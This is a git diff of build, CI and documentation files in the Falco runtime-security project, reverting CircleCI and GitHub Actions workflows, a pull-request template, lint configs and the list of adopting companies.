-                                   public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}
-            docker manifest push public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}
-
-            docker manifest create public.ecr.aws/falcosecurity/falco:latest \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-latest \
-                                   public.ecr.aws/falcosecurity/falco:x86_64-latest
-            docker manifest push public.ecr.aws/falcosecurity/falco:latest
-      - run:
-          name: Upload falco-driver-loader manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco-driver-loader:${CIRCLE_TAG} \
-                                   falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG} \
-                                   falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}
-            docker manifest push falcosecurity/falco-driver-loader:${CIRCLE_TAG}
-            
-            docker manifest create falcosecurity/falco-driver-loader:latest \
-                                   falcosecurity/falco-driver-loader:aarch64-latest \
-                                   falcosecurity/falco-driver-loader:x86_64-latest
-            docker manifest push falcosecurity/falco-driver-loader:latest
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG} \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG} \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}
-            docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG}
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:latest \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-latest \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-latest
-            docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:latest
-
 workflows:
-  version: 2.1
+  version: 2
   build_and_test:
     jobs:
-      - "build-musl"
-      - "build-arm64"
-      - "build-centos7"
-      - "tests-integration":
+      - "build/ubuntu-bionic"
+      - "build/centos7"
+      - "tests/integration":
           requires:
-            - "build-centos7"
-      - "tests-integration-arm64":
-          requires:
-            - "build-arm64"
-      - "tests-integration-static":
-          requires:
-            - "build-musl"
-      - "tests-driver-loader-integration":
-          requires:
-            - "build-centos7"
-      - "rpm-sign":
-          context: falco
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "tests-integration"
-            - "tests-integration-arm64"
-      - "publish-packages-dev":
-          context:
-            - falco
-            - test-infra
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "rpm-sign"
-            - "tests-integration-static"
-      - "publish-packages-deb-dev":
-          context:
-            - falco
-            - test-infra
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "tests-integration"
-            - "tests-integration-arm64"
-      - "build-docker-dev":
-          context:
-            - falco
-            - test-infra
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "publish-packages-dev"
-            - "publish-packages-deb-dev"
-            - "tests-driver-loader-integration"
-      - "build-docker-dev-arm64":
-          context:
-            - falco
-            - test-infra
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "publish-packages-dev"
-            - "publish-packages-deb-dev"
-            - "tests-driver-loader-integration"      
-      - "publish-docker-dev":
-          context:
-            - falco
-            - test-infra
-          filters:
-            tags:
-              ignore: /.*/
-            branches:
-              only: master
-          requires:
-            - "build-docker-dev"
-            - "build-docker-dev-arm64"
-      # - "quality/static-analysis" # This is temporarily disabled: https://github.com/falcosecurity/falco/issues/1526
-  release:
-    jobs:
-      - "build-musl":
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "build-centos7":
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "build-arm64":
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "rpm-sign":
-          context: falco
-          requires:
-            - "build-centos7"
-            - "build-arm64"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "publish-packages":
-          context:
-            - falco
-            - test-infra
-          requires:
-            - "build-musl"
-            - "rpm-sign"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "publish-packages-deb":
-          context:
-            - falco
-            - test-infra
-          requires:
-            - "build-centos7"
-            - "build-arm64"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "build-docker":
-          context:
-            - falco
-            - test-infra
-          requires:
-            - "publish-packages"
-            - "publish-packages-deb"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "build-docker-arm64":
-          context:
-            - falco
-            - test-infra
-          requires:
-            - "publish-packages"
-            - "publish-packages-deb"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
-      - "publish-docker":
-          context:
-            - falco
-            - test-infra
-          requires:
-            - "build-docker"
-            - "build-docker-arm64"
-          filters:
-            tags:
-              only: /.*/
-            branches:
-              ignore: /.*/
+            - "build/centos7"

.cmake-format

@@ -7,7 +7,7 @@ line_width = 120
 # How many spaces to tab for indent
 tab_size = 2
 
-# If arg lists are longer than this, break them always
+# If arglists are longer than this, break them always
 max_subargs_per_line = 3
 
 # If true, separate flow control names from their parentheses with a space
@@ -21,7 +21,7 @@ separate_fn_name_with_space = False
 dangle_parens = False
 
 # If the statement spelling length (including space and parenthesis is larger
-# than the tab width by more than this among, then force reject un-nested
+# than the tab width by more than this amoung, then force reject un-nested
 # layouts.
 max_prefix_chars = 2
 
@@ -54,7 +54,7 @@ always_wrap = []
 algorithm_order = [0, 1, 2, 3, 4]
 
 # If true, the argument lists which are known to be sortable will be sorted
-# lexicographically
+# lexicographicall
 enable_sort = True
 
 # If true, the parsers may infer whether or not an argument list is sortable

.codespellignore

@@ -1,4 +0,0 @@
-aks
-creat
-chage
-ro

.github/PULL_REQUEST_TEMPLATE.md

@@ -1,7 +1,8 @@
-<!--  Thanks for sending a pull request! Here are some tips for you:
-1. If this is your first time, please read our contributor guidelines in the https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md file.
+<!--  Thanks for sending a pull request!  Here are some tips for you:
+
+1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
 2. Please label this pull request according to what type of issue you are addressing.
-3. Please add a release note!
+3. . Please add a release note!
 4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
 -->
 
@@ -21,7 +22,11 @@
 
 > /kind feature
 
-> /kind release
+> If contributing rules or changes to rules, please make sure to also uncomment one of the following line:
+
+> /kind rule-update
+
+> /kind rule-create
 
 <!--
 Please remove the leading whitespace before the `/kind <>` you uncommented.
@@ -35,12 +40,16 @@ Please remove the leading whitespace before the `/kind <>` you uncommented.
 
 > /area engine
 
+> /area examples
+
+> /area rules
+
+> /area integrations
+
 > /area tests
 
 > /area proposals
 
-> /area CI
-
 <!--
 Please remove the leading whitespace before the `/area <>` you uncommented.
 -->
@@ -62,13 +71,11 @@ Fixes #
 **Does this PR introduce a user-facing change?**:
 
 <!--
-If NO, just write "NONE" in the release-note block below.
-
-If YES, a release note is required, enter your release note in the block below. 
-The convention is the same as for commit messages: https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md#commit-convention
-If the PR introduces non-backward compatible changes, please add a line starting with "BREAKING CHANGE:" and describe what changed.
-For example, `BREAKING CHANGE: the API interface of the rule engine has changed`.
-Your note will be included in the changelog.
+If no, just write "NONE" in the release-note block below.
+If yes, a release note is required:
+Enter your extended release note in the block below.
+If the PR requires additional action from users switching to the new release, prepend the string "action required:".
+For example, `action required: change the API interface of the rule engine`.
 -->
 
 ```release-note

.github/stale.yml

@@ -0,0 +1,19 @@
+# Number of days of inactivity before an issue becomes stale
+daysUntilStale: 60
+# Number of days of inactivity before a stale issue is closed
+daysUntilClose: 7
+# Issues with these labels will never be considered stale
+exemptLabels:
+  - cncf
+  - roadmap
+  - enhancement
+  - "help wanted"
+# Label to use when marking an issue as stale
+staleLabel: wontfix
+# Comment to post when marking an issue as stale. Set to `false` to disable
+markComment: >
+  This issue has been automatically marked as stale because it has not had
+  recent activity. It will be closed if no further activity occurs. Thank you
+  for your contributions.
+# Comment to post when closing a stale issue. Set to `false` to disable
+closeComment: false

.github/workflows/ci.yml

@@ -1,110 +0,0 @@
-name: CI Build
-on:
-  pull_request:
-    branches: [master]
-  push:
-    branches: [master]
-  workflow_dispatch:
-
-jobs:
-  build-minimal:
-    runs-on: ubuntu-20.04
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-          ref: ${{ github.event.pull_request.head.sha }}
-
-      - name: Update base image
-        run: sudo apt update -y
-
-      - name: Install build dependencies
-        run: sudo DEBIAN_FRONTEND=noninteractive apt install libjq-dev libyaml-cpp-dev libelf-dev cmake build-essential git -y
-
-      - name: Prepare project
-        run: |
-          mkdir build-minimal
-          pushd build-minimal
-          cmake -DMINIMAL_BUILD=On -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release -DBUILD_FALCO_UNIT_TESTS=On ..
-          popd
-
-      - name: Build
-        run: |
-          pushd build-minimal
-          make -j4 all
-          popd
-
-      - name: Run unit tests
-        run: |
-          pushd build-minimal
-          sudo ./unit_tests/falco_unit_tests 
-          popd
-
-  build-ubuntu-focal:
-    runs-on: ubuntu-20.04
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-          ref: ${{ github.event.pull_request.head.sha }}
-
-      - name: Update base image
-        run: sudo apt update -y
-
-      - name: Install build dependencies
-        run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
-
-      - name: Prepare project
-        run: |
-          mkdir build
-          pushd build
-          cmake -DBUILD_BPF=On -DBUILD_FALCO_UNIT_TESTS=On ..
-          popd
-
-      - name: Build
-        run: |
-          pushd build
-          KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
-          popd
-
-      - name: Run unit tests
-        run: |
-          pushd build
-          sudo ./unit_tests/falco_unit_tests 
-          popd
-
-  build-ubuntu-focal-debug:
-    runs-on: ubuntu-20.04
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-          ref: ${{ github.event.pull_request.head.sha }}
-
-      - name: Update base image
-        run: sudo apt update -y
-
-      - name: Install build dependencies
-        run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
-
-      - name: Prepare project
-        run: |
-          mkdir build
-          pushd build
-          cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_BPF=On -DBUILD_FALCO_UNIT_TESTS=On ..
-          popd
-
-      - name: Build
-        run: |
-          pushd build
-          KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
-          popd
-
-      - name: Run unit tests
-        run: |
-          pushd build
-          sudo ./unit_tests/falco_unit_tests 
-          popd

.github/workflows/codeql.yaml

@@ -1,75 +0,0 @@
-# For most projects, this workflow file will not need changing; you simply need
-# to commit it to your repository.
-#
-# You may wish to alter this file to override the set of languages analyzed,
-# or to provide custom queries or build logic.
-#
-# ******** NOTE ********
-# We have attempted to detect the languages in your repository. Please check
-# the `language` matrix defined below to confirm you have the correct set of
-# supported CodeQL languages.
-#
-name: "CodeQL"
-
-on:
-  push:
-    branches: [ "master" ]
-  pull_request:
-    # The branches below must be a subset of the branches above
-    branches: [ "master" ]
-
-jobs:
-  analyze:
-    name: Analyze
-    runs-on: ubuntu-20.04
-    permissions:
-      actions: read
-      contents: read
-      security-events: write
-
-    strategy:
-      fail-fast: false
-      matrix:
-        language: [ 'cpp' ]
-        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
-        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
-
-    steps:
-    - name: Checkout repository
-      uses: actions/checkout@v3
-      with:
-        fetch-depth: 0
-
-    # Initializes the CodeQL tools for scanning.
-    - name: Initialize CodeQL
-      uses: github/codeql-action/init@v2
-      with:
-        languages: ${{ matrix.language }}
-        # If you wish to specify custom queries, you can do so here or in a config file.
-        # By default, queries listed here will override any specified in a config file.
-        # Prefix the list here with "+" to use these queries and those in the config file.
-        
-        # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
-        # queries: security-extended,security-and-quality
-
-    - name: Update base image
-      run: sudo apt update -y
-
-    - name: Install build dependencies
-      run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
-
-    - name: Prepare project
-      run: |
-          mkdir build
-          pushd build
-          cmake -DBUILD_BPF=On ..
-          popd
-
-    - name: Build
-      run: |
-          pushd build
-          KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
-          popd
-
-    - name: Perform CodeQL Analysis
-      uses: github/codeql-action/analyze@v2

.github/workflows/codespell.yml

@@ -1,14 +0,0 @@
-name: Codespell
-on:
-  pull_request:
-jobs:
-  codespell:
-    runs-on: ubuntu-latest
-    steps:
-    - uses: actions/checkout@v2
-    - uses: codespell-project/actions-codespell@master
-      with:
-        skip: .git
-        ignore_words_file: .codespellignore
-        check_filenames: true
-        check_hidden: false

.github/workflows/images_bumper.yml

@@ -1,64 +0,0 @@
-name: Builder and Tester Images Bumper
-
-on:
-  push:
-    branches: [master]
-
-jobs:
-  paths-filter:
-    runs-on: ubuntu-latest
-    outputs:
-      builder_changed: ${{ steps.filter.outputs.builder }}
-      tester_changed: ${{ steps.filter.outputs.tester }}
-    steps:
-    - uses: actions/checkout@v2
-    - uses: dorny/paths-filter@v2
-      id: filter
-      with:
-        filters: |
-          builder:
-            - 'docker/builder/**'
-          tester:
-            - 'docker/tester/**'
-
-  update-builder-tester-images:
-    runs-on: ubuntu-22.04
-    needs: paths-filter
-    if: needs.paths-filter.outputs.builder_changed == 'true' || needs.paths-filter.outputs.tester_changed == 'true'
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-
-      - name: Login to Docker Hub
-        uses: docker/login-action@v1
-        with:
-          username: ${{ secrets.DOCKERHUB_USER }}
-          password: ${{ secrets.DOCKERHUB_SECRET }}
-          
-      - name: Set up QEMU
-        uses: docker/setup-qemu-action@v2
-        with:
-          platforms: 'amd64,arm64'
-
-      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v2
-      
-      - name: Build and push new builder image
-        if: needs.paths-filter.outputs.builder_changed == 'true'
-        uses: docker/build-push-action@v3
-        with:
-          context: docker/builder
-          platforms: linux/amd64,linux/arm64
-          tags: latest
-          push: true
-
-      - name: Build and push new tester image
-        if: needs.paths-filter.outputs.tester_changed == 'true'
-        uses: docker/build-push-action@v3
-        with:
-          context: docker/tester
-          platforms: linux/amd64,linux/arm64
-          tags: latest
-          push: true

.github/workflows/staticanalysis.yaml

@@ -1,31 +0,0 @@
-name: StaticAnalysis
-on:
-  pull_request:
-jobs:
-  staticanalysis:
-    runs-on: ubuntu-22.04
-
-    steps:
-      - name: Checkout ⤵️
-        uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-          ref: ${{ github.event.pull_request.head.sha }}
-
-      - name: Install build dependencies ⛓️
-        run: |
-          sudo apt update -y
-          sudo apt install build-essential git cppcheck cmake -y
-
-      - name: Build and run cppcheck 🏎️
-        run: |
-          mkdir build
-          cd build && cmake -DUSE_BUNDLED_DEPS=On -DBUILD_WARNINGS_AS_ERRORS=ON -DCREATE_TEST_TARGETS=Off -DCMAKE_BUILD_TYPE="release" -DBUILD_BPF=Off -DBUILD_DRIVER=Off ..
-          make -j4 cppcheck
-          make -j4 cppcheck_htmlreport
-
-      - name: Upload reports ⬆️
-        uses: actions/upload-artifact@v3
-        with:
-          name: static-analysis-reports
-          path: ./build/static-analysis-reports

.gitignore

@@ -2,6 +2,7 @@
 *~
 *.pyc
 
+test/falco_tests.yaml
 test/traces-negative
 test/traces-positive
 test/traces-info
@@ -10,6 +11,19 @@ test/.phoronix-test-suite
 test/results*.json.*
 test/build
 
+userspace/falco/lua/re.lua
+userspace/falco/lua/lpeg.so
+userspace/engine/lua/lyaml
+userspace/engine/lua/lyaml.lua
+
+docker/event-generator/event_generator
+docker/event-generator/mysqld
+docker/event-generator/httpd
+docker/event-generator/sha1sum
+docker/event-generator/vipw
+
 .vscode/*
 
-*.idea*
+.luacheckcache
+
+*.idea*

.gitmodules

@@ -1,4 +0,0 @@
-[submodule "submodules/falcosecurity-rules"]
-	path = submodules/falcosecurity-rules
-	url = https://github.com/falcosecurity/rules.git
-	branch = main

.luacheckrc

@@ -0,0 +1,9 @@
+std = "min"
+cache = true
+include_files = {
+    "userspace/falco/lua/*.lua",
+    "userspace/engine/lua/*.lua",
+    "userspace/engine/lua/lyaml/*.lua",
+    "*.luacheckrc"
+}
+exclude_files = {"build"}

ADOPTERS.md

@@ -1,61 +1,18 @@
 # Adopters
 
-Known end users with notable contributions to the project include:
-* AWS
-* IBM
-* Red Hat
-
-Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
-* Equinix Metal
-* IEEE
-* Lowes
-* Reckrut
-* Yellow Pepper
-* CTx
-* Utikal
-* Discrete Events
-* Agritech Infra
-
 This is a list of production adopters of Falco (in alphabetical order):
 
-* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
-
 * [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
 
 * [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
 
-* [Deckhouse](https://deckhouse.io/) - Deckhouse Platform presents to you the opportunity to create homogeneous Kubernetes clusters anywhere and handles comprehensive, automagical management for them. It supplies all the add-ons you need for auto-scaling, observability, security, and service mesh. Falco is used as a part of the [runtime-audit-engine](https://deckhouse.io/documentation/latest/modules/650-runtime-audit-engine/) module to provide threats detection and enforce security compliance out of the box. By pairing with [shell-operator](https://github.com/flant/shell-operator) Falco can be configured by Kubernetes Custom Resources.
-
-* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
-
 * [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
 
-* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
+* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
 
-* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
-
-* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
-
-* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
-
-* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
-  * https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
-
-* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
-
-* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
-
-* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
+* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
   * https://hipaa.preferral.com/01-preferral_hipaa_compliance/
 
-* [Qonto](https://qonto.com) - Qonto is a modern banking for SMEs and freelancers. Qonto provides a fully featured business account with a simplified accounting flow. Falco is used by our SecOps team to detect suspicious behaviors in our clusters.
-
-* [Raft](https://goraft.tech) - Raft is a government contractor that offers cloud-native solutions across many different agencies including DoD (Department of Defense), HHS (Health and Human Services), as well as within CFPB (Consumer Finance Protection Bureau). Raft leverages Falco to detect threats in our client's Kubernetes clusters and as a Host Intrusion Detection System. Raft proudly recommends Falco across all our different projects.
-
-* [Replicated](https://www.replicated.com/) - Replicated is the modern way to ship on-prem software. Replicated gives software vendors a container-based platform for easily deploying cloud native applications inside customers'​ environments to provide greater security and control. Replicated uses Falco as runtime security to detect threats in the Kubernetes clusters which host our critical SaaS services.
-
-* [Secureworks](https://www.secureworks.com/) - Secureworks is a leading worldwide cybersecurity company with a cloud-native security product that combines the power of human intellect with security analytics to unify detection and response across cloud, network, and endpoint environments for improved security operations and outcomes. Our Taegis XDR platform and detection system processes petabytes of security relevant data to expose active threats amongst the billions of daily events from our customers. We are proud to protect our platform’s Kubernetes deployments, as well as help our customers protect their own Linux and container environments, using Falco.
-
 * [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
 
 * [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
@@ -64,24 +21,5 @@ This is a list of production adopters of Falco (in alphabetical order):
 
 * [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
 
-* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
+*  [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
 
-* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
-
-* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
-
-* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
-
-* [Xenit AB](https://xenit.se/contact/) Xenit is a growth company with services within cloud and digital transformation. We provide an open-source Kubernetes framework that we leverage to help our customers get their applications to production as quickly and as securely as possible. We use Falco's detection capabilities to identify anomalous behaviour within our clusters in both Azure and AWS.
-
-## Projects that use Falco libs
-
-* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
-
